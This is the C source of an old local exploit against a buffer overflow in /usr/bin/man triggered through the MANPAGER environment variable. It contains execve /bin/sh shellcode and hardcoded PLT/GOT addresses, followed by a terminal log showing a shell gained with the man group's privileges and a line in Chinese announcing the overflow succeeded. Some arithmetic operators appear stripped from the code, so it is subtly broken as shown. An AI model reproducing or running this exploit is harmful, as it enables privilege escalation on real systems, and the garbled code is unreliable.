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* Complie : gcc -o ex_man ex_man.c
* Usage : ./ex_man
* Date : 2000-05-16
*/
#include <stdio.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#define STRCPYPLT 0x080490e4
#define STRCPYGOT 0x08050cac
#define RETADDRESS STRCPYPLT
#define SHELLCODETARGET STRCPYGOT
#define SHELLCODESOURCE ( 0xbffffffc - sizeof( VULPROGRAM ) - sizeof( shellcode ) )
#define VULPROGRAM "/usr/bin/man"
#define VULPOINT 4067
#define SAFEPADLEN 24
#define PAD 'A'
#define SUCCESS 0
#define FAILURE -1
int main ( int argc, char * argv[] )
{
char * vulbuf;
char * env[3];
u_long * pointer;
u_long vulPoint = VULPOINT;
u_long vulBufSize = VULPOINT SAFEPADLEN;
fprintf( stderr, "Usage: %s [ vulPoint ]\n", argv[0] );
if ( argc > 1 )
{
vulPoint = strtoul( argv[1], NULL, 10 );
vulBufSize = vulPoint SAFEPADLEN;
}
vulbuf = ( char * )malloc( ( size_t )( vulBufSize ) );
if ( vulbuf == 0 )
{
fprintf( stderr, "Can't allocate memory %lu bytes\n", vulBufSize );
exit( FAILURE );
}
fprintf( stderr, "vulPoint = %lu\n", vulPoint );
memset( vulbuf, PAD, vulBufSize );
vulbuf[ vulBufSize - 1 ] = '\0';
pointer = ( u_long * )( vulbuf vulPoint );
*pointer = RETADDRESS;
*pointer = SHELLCODETARGET;
*pointer = SHELLCODETARGET;
*pointer = SHELLCODESOURCE;
memcpy( vulbuf, "MANPAGER=", 9 );
env[0] = vulbuf;
env[1] = shellcode;
env[2] = NULL;
execle( VULPROGRAM, VULPROGRAM, "ls", NULL, env );
free( vulbuf );
return( SUCCESS );
}
[scz@ /home/scz/src]> cat > ex_man.c
[scz@ /home/scz/src]> gcc -o ex_man ex_man.c
[scz@ /home/scz/src]> ./ex_man
Usage: ./ex_man [ vulPoint ]
vulPoint = 4067
bash$ id
uid=505(scz) gid=100(users) egid=15(man) groups=100(users)
bash$ exit ^
exit |
[scz@ /home/scz/src]> |
溢出成功 ------>------
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